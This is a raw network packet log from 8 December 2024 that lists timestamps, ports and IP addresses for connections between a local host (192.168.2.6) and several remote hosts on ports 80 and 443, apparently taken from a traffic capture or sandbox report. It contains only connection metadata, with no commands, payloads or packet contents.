Dec 8, 2024 17:45:45.509488106 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.516258001 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.516274929 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.516462088 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.516474962 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.516582012 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.523746014 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.523765087 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.523839951 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.523848057 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.524061918 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.527093887 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.527169943 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.527169943 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.527317047 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.528027058 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.528039932 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.625175953 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.625196934 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.625291109 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.625309944 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.625325918 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.625348091 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.672044039 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.672065020 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.672163010 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.672194004 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.672312021 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.769514084 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.769551992 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.769721985 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.770174026 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.770190954 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.771661997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.771692038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.771828890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.771940947 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.771998882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.772047997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.772118092 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.773155928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.773228884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.773247004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.773314953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.774182081 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.774251938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.774281025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.774328947 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.775283098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.775398970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.775460958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.775556087 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.776421070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.776518106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.776582956 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.776640892 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.777566910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.777616978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.777698994 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.778676987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.778743982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.778785944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.778870106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.779763937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.779835939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.779906988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.779958010 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.780931950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.780997992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.781008959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.781176090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.781999111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.782058001 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.782084942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.782144070 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.783086061 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.783163071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.783243895 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.783291101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.784209967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.784291029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.784307957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.784418106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.785341978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.785417080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.785445929 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.785486937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.786425114 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.786487103 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.786560059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.786627054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.787564993 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.787619114 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.787659883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.787821054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.788651943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.788708925 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.788774967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.788835049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.789812088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.789904118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.789918900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.790142059 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.790942907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.791044950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.791119099 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.791322947 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.791383028 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.792007923 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.792013884 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.792043924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.792090893 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.792150021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.792202950 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.792771101 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.792777061 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.793153048 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.793159962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.793175936 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.793222904 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.793236971 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.793251038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.793267012 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.793283939 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.793299913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.793354988 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.794265985 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.794373989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.794389009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.794435978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.795392036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.795510054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.795567989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.796662092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.796674967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.796736956 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.797677040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.797724962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.797795057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.797884941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.798772097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.798840046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.798978090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.799093008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.799324989 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.799396992 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.799738884 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.799745083 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.799985886 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.799990892 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.800039053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.800172091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.800174952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.800329924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.801419020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.801470995 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.801507950 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.801574945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.802357912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.802520990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.802640915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.803587914 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.803643942 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.803702116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.803875923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.804330111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.804409027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.804485083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.804548025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.805445910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.805546045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.805640936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.806585073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.806694984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.806709051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.806792974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.807718039 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.807820082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.807940006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.808056116 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.808953047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.808991909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.809024096 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.809058905 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.809945107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.810045958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.810115099 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.811031103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.811081886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.811193943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.811274052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.812191963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.812292099 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.812324047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.812324047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.813302040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.813441038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.813441992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.813491106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.814440966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.814507961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.814560890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.815505981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.815598011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.815660000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.816693068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.816756010 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.816772938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.816961050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.817814112 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.817899942 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.817986965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.818042994 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.819088936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.819149017 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.819196939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.819262981 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.820106030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.820146084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.820204973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.820245981 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.821105957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.821177959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.821207047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.821254015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.822211981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.822279930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.822504044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.823084116 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.823102951 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.823158026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.823162079 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.823174000 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.823208094 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.823216915 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.823328018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.823385954 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.823473930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.823545933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.824547052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.824579000 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.824624062 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.824650049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.825560093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.825671911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.825745106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.826802969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.826859951 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.826883078 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.826983929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.827835083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.827853918 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.827887058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.827904940 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.828943968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.828999996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.829066038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.829113007 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.830054045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.830101013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.830207109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.849559069 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.849580050 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.849639893 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.849663019 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.849678993 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.849736929 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.867562056 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.867582083 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.867630005 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.867646933 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.867676020 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.867690086 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.893625021 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.893841028 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.894036055 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.894247055 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:45.894257069 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.894335032 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:45.894368887 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.894553900 CET	443	49825	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.894814968 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:45.894826889 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.894979000 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:45.894984007 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.895116091 CET	49825	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:45.895132065 CET	443	49825	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.895349026 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:45.895371914 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.895550966 CET	49825	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:45.895555973 CET	443	49825	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.895775080 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:45.895778894 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:45.932940006 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.933037043 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.933552027 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.933559895 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.934024096 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.934030056 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.964626074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.964708090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.964807034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.964854002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.965146065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.965194941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.965281010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.965358019 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.966294050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.966360092 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.966473103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.966535091 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.967363119 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.967447042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.967494011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.967550039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.968483925 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.968554974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.968607903 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.968653917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.969579935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.969651937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.969688892 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.969774008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.970732927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.970848083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.970909119 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.970968008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.971863031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.971959114 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.972035885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.972080946 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.973002911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.973104000 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.973170042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.974049091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.974095106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.974136114 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.974200010 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.975182056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.975259066 CET	49805	80	192.168.2.6	185.215.113.206
